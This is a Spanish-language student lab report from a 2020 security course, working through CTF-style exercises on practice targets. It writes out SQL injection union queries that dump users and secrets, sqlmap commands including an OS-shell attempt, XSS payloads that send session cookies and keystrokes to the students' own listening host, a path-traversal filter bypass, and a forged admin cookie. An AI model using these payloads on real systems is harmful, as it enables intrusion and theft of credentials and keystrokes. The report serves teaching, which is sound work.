Practico 2 seguridad 2020

Escalera Pedro, Imán Federico

Ej 1

A)

Para obtener el secreto de bob lo primer que hicimos fue ver las distintas respuestas que nos daba el sistema como respuesta a las distintas situaciones. Así fue como notamos que el sistema nos devolvía "El usuario no existe" cuando no encontraba el usuario en la base de datos, "Se debe ingresar un usuario/contraseña" cuando no le pasábamos alguno de los datos y "Password incorrecta" cuando el usuario existía pero la password no era la correcta. Con esto empezamos a hacer pruebas con los vectores de ataque típicos para una sql injection. Notamos que cuando el usuario era `' or 1=1 ---` y la contraseña cualquier cosa el sistema respondía que la contraseña era incorrecta, es decir aceptaba el usuario como valido lo cual nos indica que un sql injection era efectivamente el camino a seguir. En algún momento probando cosas pusimos como usuario `'union select user from users ---` lo cual nos llevo a una pantalla de debugueo por un error de sql que contenía todo el código de la aplicación. Ya con el código del servidor fue cuestión de analizarlo para explotar alguna vulnerabilidad. Ahi notamos que el servidor obtiene la sal, la password hasheada y el id en la misma query en la que podemos inyectar y que luego compara la pasword hasheada con la password que ingresamos hasheada. Lo que hicimos entonces fue generar un hash sha256 de la palabra "test" y forzamos a la query a devolver ese hash como constante y la sal vacía entonces con modificar la inyeccion para un usuario en particular pudimos obtener el secreto introduciendo "test" como contraseña. La query final que usamos para obtener el secreto de bob fue: `' union SELECT id, "9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08" , "" FROM users WHERE username = 'bob' ---`

B)

Para contar los usuarios hay en el sistema cambiamos un poco la query anterior. Sabemos que ese hash con la sal vacía va a funcionar para cualquier usuario y que a la hora de buscar el secreto de cada usuario el código hace `secrets[str(user_id)]` . Lo que hicimos entonces fue hacer que la query en vez de devolver el user id, que devuelva la cantidad de ids en la base de datos con COUNT, esto lleva al server a buscar un secreto con una key que no existe y nos lleva de vuelta a la pantalla de debuggeo diciendo que efectivamente fallo con la key=6, es decir hay 6 usuarios. La query utilizada fue: `' union SELECT COUNT(id), "9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08" , "" FROM users` .

C)

Finalmente para saber que usuarios hay en el sistema podemos notar que el user_id no discrimina entre strings y ids asi que podemos usar un método como el anterior para obtener el valor y modificando la clausula del where a not username = "bob" and not username = "eve" and not username = "mallory" y cada vez que encuentro un nuevo nombre agregarlo al where para que no me devuelva ese. La primer query fue `' union SELECT username, "9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08" , "" FROM users WHERE NOT username = 'bob' AND NOT username="eve" AND NOT username="mallory"---` y para probar que realmente hay solo 6 usuarios en el sistema lo confirmamos cuando la siguiente query dio que no existía el usuario: `' union SELECT username, "9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08" , "" FROM users WHERE NOT username = 'bob' AND NOT username="eve" AND NOT username="mallory" AND NOT username="cacho" AND NOT username="john" AND NOT username="kisio"---` . Finalmente los usuarios y sus secretos en la base son:

- bob: "Gate's Gm@ll Passw0rd R3m1nder: Ennyn Durin Aran Moria. Pedo Mellon a Minno. Im Narvi hain echant. Celebrimbor o Eregion teithant i thiw hin."
- cacho: "i have no secrets""
- eve: "Kaley Cuoco phone: 1-212-733-2323"
- mallory: "se-html5-album-audio-player is broken"
- john: "Coca-cola recipes: Carbonated water, sugar, natural flavorings, caffeine, phosphoric acid & naranpol flavor"
- kisio: "The BUE System is unsafe or at least doubtful"

(Los secretos de cada usuario fueron recuperados con el mismo método de bob cambiando el where a username="Nombre de usuario")

Ej 2

Cuando entramos a la pagina pudimos ver una imagen que describía un sitio en construcción y ademas de eso el sitio setea una cookie profile.

Al principio pensamos que era un tipo de jwt pero finalmente descubrimos que esta encodeada en base64 y obteniendo los siguientes datos:

`{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":"Friday, 13 Oct 2018 00:00:00 GMT"}`

Ademas, una vez seteada esta cookie el la pagina falla con un error 500 mostrando el siguiente mensaje:

SyntaxError: Unexpected token F in JSON at position 79

at JSON.parse ()

at Object.exports.unserialize (/under/node_modules/node-serialize/lib/serialize.js:62:16)

at /under/server.js:12:29

at Layer.handle [as handle_request] (/under/node_modules/express/lib/router/layer.js:95:5)

at next (/under/node_modules/express/lib/router/route.js:137:13)

at Route.dispatch (/under/node_modules/express/lib/router/route.js:112:3)

at Layer.handle [as handle_request] (/under/node_modules/express/lib/router/layer.js:95:5)

at /under/node_modules/express/lib/router/index.js:281:22

at Function.process_params (/under/node_modules/express/lib/router/index.js:335:12)

at next (/under/node_modules/express/lib/router/index.js:275:10)

Viendo este mensaje notamos que el sitio web usa node.js y módulos de este para serealizar datos, ademas podemos ver que probablemente el backend este diseñado con el framework express y por ende con el lenguaje javaScript y por ende datos en forma de Json

El siguiente paso fue ver que pasaba si modificábamos la cookie profile, usando burp cambiamos en la cookie el username por otro string

```
{"username":"Seguridad", "csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":"Friday, 13 Oct 2018 00:00:00 GMT"}
```

y viendo que en la pagina se mostraba Hello Seguridad.

Buscando información sobre la siguiente linea

at Object.exports.unserialize (/under/node_modules/node-serialize/lib/serialize.js:62:16)

Y teniendo en la cabeza que podría tener algo que ver con un problema en cuanto a la serealizacion encotramos este link

Pensamos que se podía tratar de una vulnerabilidad en cuanto a la serealizacion de node que nos permitiría ejecutar código remotamente.

Buscando como poder explotar esta vulnerabilidad encontramos el siguiente link con un paso a paso sobre como explotar un fallo de seguridad muy similar al encontrado en esta pagina usando un reverse shell attack y asi es posible obtener permisos de root.

Ej 3

Para resolver este ejercicio vimos a que direcciones hacia request la pagina web, y de esta forma vimos que la pagina pedía sus imágenes en la siguiente ruta /meme?id=

Investigando mas a fondo en esta ruta notamos que por ejemplo podíamos ingresar en la url cosas como /meme?id=1+AND+1=1 nos devuelve una imagen en base64 (es decir, contestaba nuestro request) lo mismo que hacer /meme?id=1 en cambio si hacemos /meme?id=1+AND+1=2 obtenemos un Not Found

Esto indicaba que probablemente la vulnerabilidad que existe en esta pagina web sea una sql injection.

Cuando supimos esto encontramos una herramienta llamada sqlmap la cual nos permitía explotar esta vulnerabilidad y así poder ver la base de datos de la pagina.

Con el comando:

```
python sqlmap.py -u "http://143.0.100.198:5010/meme?id=1" --batch --dbs
```

pudimos ver que bases de datos contenía la pagina, obteniendo el siguiente output:

web application technology: Nginx 1.17.10

back-end DBMS: MySQL 5 (MariaDB fork)

available databases [4]:

[*] information_schema

[*] memes_db

[*] mysql

[*] performance_schema

luego con el siguiente comando

```
python sqlmap.py -u "http://143.0.100.198:5010/meme?id=1" --batch --tables -D memes_db
```

vimos que la bd memes_db contiene las siguietes tablas

web application technology: Nginx 1.17.10

back-end DBMS: MySQL 5 (MariaDB fork)

Database: memes_db

[2 tables]

+--------+

| albums |

| memes |

+--------+

con el comando:

```
python sqlmap.py -u "http://143.0.100.198:5010/meme?id=1" --batch --dump -T memes -D memes_db
```

pudimos ver toda la información de la tabla memes.

Finalmente intentamos con el comando

```
python sqlmap.py -u "http://143.0.100.198:5010/meme?id=1" --batch --os-shell
```

para ver si podíamos conectarnos a la terminal del back-end pero no fue posible.

Finalmente sqlmap crea un archivo llamado log que almacena todo el output obtenido de las distintas corridas del programa. adjuntamos este archivo en la carpeta ej3 con el output obtenido de distintas ejecuciones. En este resumen incluimos todas las que nos devolvieron información útil.

Después de pensar el problema otro día intentamos resolver el problema del código del servidor de otra forma. Sabíamos como estaba compuesta la bd de memes gracias a sqlmap. Sabíamos que cada meme tenia su nombre, un path, un id y un parent. Sabiendo que el único dato de cada archivo de meme era su path en el sistema de archivos tuvimos la idea de forzar la query para devover otro archivo. Intentamos imaginarnos como seria la query y supusimos que seria algo como `select filename from memes where id=id` así que probamos si funcionaba hacer un union poniendo 0 como id (que era not found anteriormente) y forzamos al select a devolver un filename que ya conociamos. Asi probamos `id=0 union select "files/cookies.jpg" from memes` y vimos que efectivamente nos devolvía el meme de las cookies. Sabiendo que el archivo del servidor era main{algo} y sabiendo que la mayoría de los otros códigos habían sido en python nos tiramos el lance de que sea main.py corriendo la query `id=0 union select "main.py" from memes` lo cual efectivamente nos devolvió el código del servidor, corriendolo desde postman logramos conseguirlo en limpio (ya que chrome intentaba interpretar las partes en html). Si el nombre no hubiese sido main.py simplemente podríamos haber hecho un script que probase con todas las opciones que contenían man de la lista de SVNDigger. La flag que obtuvimos del código fue " # It's dangerous to go alone, take this: # ^ FLAG ^ SEGURIDAD-OFENSIVA-FAMAF $ FLAG $". Analizando el código también parece que en algún momento se corre un comando "du"(disk usage) que lleva el path de los memes, si fuese posible editar alguno de estos filenames en la bd, probablemente seria posible forzar al server a correr código que no debería. Nosotros creemos que algo así paso ya que varias veces vimos mensajes de nuestros compañeros en la pagina.

Ej 4

A)

El problema principal de este código esta en la función de saneamiento. Como sabemos los headers de una request son totalmente manipulables, incluido el del idioma, por lo tanto esta en lo correcto de que esa información debe ser controlada de alguna forma, el problema esta en la forma en que lo hace, mezclado con lo que hace luego con la data. El código carga un archivo del filesystem dependiendo lo que esta en ese header, no solo eso si no que lo hace de una forma bastante directa (modificando el string del path del archivo directamente y pegandole el header) y sin seguir ninguna recomendación que uno encuentra en internet cuando uno busca esta situación. También usa una función custom para filtrar la entrada que lo único que hace es remplazar "../" por "" obviamente en un intento de prevenir que se acceda a otro directorio fuera del esperado. El problema es que una simple request cuyo header de HTTP_ACCEPT_LANGUAGE sea "..../" luego de pasar por la función de filtrado se convierte en "../" lo cual nos deja acceder a otros directorios. Si luego se puede hacer algo con ese archivo depende de la aplicación en general y no es posible determinar si se expone el archivo pero por lo pronto con eso ya fue posible forzar al servidor a cargar un archivo que no debería haber cargado.

B)

Para este caso la mejor solución (y la mas recomendada) parece ser usar la función basename de php que toma un string de la forma "../../../passwd" y devuelve "passwd" es decir si recibe un path devuelve solo el nombre final y si recibe solo un nombre devuleve el mismo lo cual mantiene la compatibilidad actual. Entonces el único cambio seria en vez de llamar `$sanitizedLang = $this->sanitizeLang($lang)` ejecutar `$sanitizedLang = $basename($lang)` , esto debería prevenir este tipo de ataque en particular.

Ej 5

Primero realizamos el ataque básico de robo de cookies de sesión en cada una de las rutas, tanto en dvwa/vulnerabilities/xss_r/ como en /dvwa/vulnerabilities/xss_s/

el ataque lo realizamos primero abriendo un servidor controlado por nosotros con el comando

python -m SimpleHTTPServer

y luego enviando el siguiente input

```
<script>var i = new Image; i.src = "http://192.168.0.70:8000/"+document.cookie ; </script>
```

la ruta http://192.168.0.70:8000/ es nuestra ip y el puerto 8000 es donde esta seteado el SimpleHTTPServer

obteniendo como salida:

192.168.0.59 - - [27/Sep/2020 18:31:44] code 404, message File not found

192.168.0.59 - - [27/Sep/2020 18:31:44] "GET /security=low;%20PHPSESSID=v5cco41lqjuufohli3o6v0cvl0;%20acopendivids=swingset,jotto,phpbb2,redmine;%20acgroupswithpersist=nada HTTP/1.1" 404 -

obteniendo así las cookies de sesión.

en ambas rutas funciona igual con la diferencia de que en /dvwa/vulnerabilities/xss_s/ el comando queda guardado y luego se ejecuta cada vez que se ingresa a esa pestaña.

Finalmente para realizar un ataque que capture las teclas presionadas por un usuario, se nos ocurrió intentar crear un script que envié mediante un post las teclas presionadas y almacenar estas en un archivo .txt

no encontramos una menera fácil de hacer un post con el modulo SimpleHTTPServer así que decidimos crear nuestro propio server.py el cual esta adjuntado. una vez creado el server diseñamos el script que es el siguiente:

```
<script type="text/javascript">

var l = "";

document.onkeypress = function (e) {

l += e.key;

var req = new XMLHttpRequest();

req.open("POST","<http://192.168.0.70:7900/>", true);

req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

req.send("data=" + l);


}

</script>
```

básicamente este script mediante XMLHttpRequest nos envía un post con cada una de las teclas presionas y las guarda en un archivo data.txt

Ej 6

A)

La flag es: flag{ThIs_Even_PaSsED_c0d3_rewVIEW}

B)

El primer error es obviamente que el código entero del servidor se encuentra en robots.txt . Esto lo encontramos gracias a la pista en el ejercicio y corriendo `wget -r -l0 http://143.0.100.198:5001/` lo cual nos mostró que no había mucho mas que fuentes y el robots.txt por lo que cuando lo fuimos a investigar encontramos todo el código del servidor. Allí vimos que el login parecía impenetrable, sabíamos el nombre de usuario pero no hay ninguna contraseña cuyo hash sha512 sea "hackshackshackshackshackshackshackshackshackshackshackshack" (lo probamos por si las dudas contra un diccionario). Leyendo un poco mas vimos que un login exitoso seteaba una cookie auth que consistía en un objeto {user:"usuario", password:"contraseña", admin: True ,digest: "Hash del resto de la cookie"} encodeado en hexadecimal. Ahora el digest debería prevenir que nosotros armemos nuestra propia cookie sin embargo, a la hora de controlar el hash el código presenta un error. Dentro de un bloque de try se encuentra `cookie.pop("digest")` y leyendo la documentación de python podemos ver que pop causa una excepcion KeyError si no se encuentra la key lo cual nos lleva al except del código que simplemente contiene un `pass` y el código continua, devuelve la cookie que le pasamos (ya no en hexa) y nos deja obtener la flag (si la cookie tenia un user, un admin:True, y no tiene digest para causar el KeyError). La cookie que usamos fue auth="7b2275736572223a2022504564726f222c202261646d696e223a20747275657d"